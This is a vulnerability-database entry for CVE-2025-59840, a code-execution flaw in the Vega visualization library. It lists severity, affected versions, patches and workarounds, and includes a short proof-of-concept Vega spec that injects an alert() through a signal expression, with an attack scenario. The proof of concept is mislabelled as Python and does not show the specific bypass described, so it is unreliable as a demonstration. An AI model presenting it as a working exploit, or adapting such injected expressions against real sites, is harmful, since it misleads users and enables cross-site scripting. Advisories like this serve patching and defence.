Security Vulnerability Report
中文
CVE-2025-59840 CVSS 8.1 HIGH

CVE-2025-59840

Published: 2025-11-13 20:15:51
Last Modified: 2026-04-15 00:35:42

Description

Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. They are vulnerable if they use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega Editor to the global `window` and if they allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode). Some workarounds are available. Do not attach `vega` View instances to global variables, and do not attach `vega` to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Vega < 6.2.0
vega-expression < 6.1.0 (6.x版本)
vega-expression < 5.2.1 (非ESM环境)
vega-interpreter < 2.2.1 (AST evaluator模式)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Example malicious Vega JSON payload for CVE-2025-59840 // This PoC demonstrates how arbitrary JavaScript can be executed // when Vega JSON is parsed without proper validation const maliciousVegaSpec = { "$schema": "https://vega.github.io/schema/vega/v5.json", "width": 400, "height": 200, "data": [{ "name": "table", "values": [ {"x": 1, "y": 28}, {"x": 2, "y": 55} ] }], "scales": [{ "name": "xscale", "type": "linear", "domain": {"data": "table", "field": "x"}, "range": "width" }], "marks": [{ "type": "text", "from": {"data": "table"}, "encode": { "enter": { "text": { "signal": "alert('XSS via Vega CVE-2025-59840')" // Malicious expression }, "x": {"scale": "xscale", "field": "x"}, "y": {"field": "y"} } } }] }; // Attack scenario: // 1. Attacker creates a webpage with the above malicious Vega spec // 2. Victim visits the page while vega is attached to window // 3. The malicious expression in 'signal' field gets evaluated // 4. Arbitrary JavaScript code (alert) executes in victim's browser

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59840", "sourceIdentifier": "[email protected]", "published": "2025-11-13T20:15:51.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. In Vega prior to version 6.2.0, applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if \"safe mode\" expressionInterpreter is used. They are vulnerable if they use `vega` in an application that attaches `vega` library and a `vega.View` instance similar to the Vega Editor to the global `window` and if they allow user-defined Vega `JSON` definitions (vs JSON that was is only provided through source code). Patches are available in the following Vega applications. If using the latest Vega line (6.x), upgrade to `vega` `6.2.0` / `vega-expression` `6.1.0` / `vega-interpreter` `2.2.1` (if using AST evaluator mode). If using Vega in a non-ESM environment, upgrade to `vega-expression` `5.2.1` / `1.2.1` (if using AST evaluator mode). Some workarounds are available. Do not attach `vega` View instances to global variables, and do not attach `vega` to the global window. These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/vega/vega/security/advisories/GHSA-7f2v-3qq3-vvjf", "source": "[email protected]"}]}}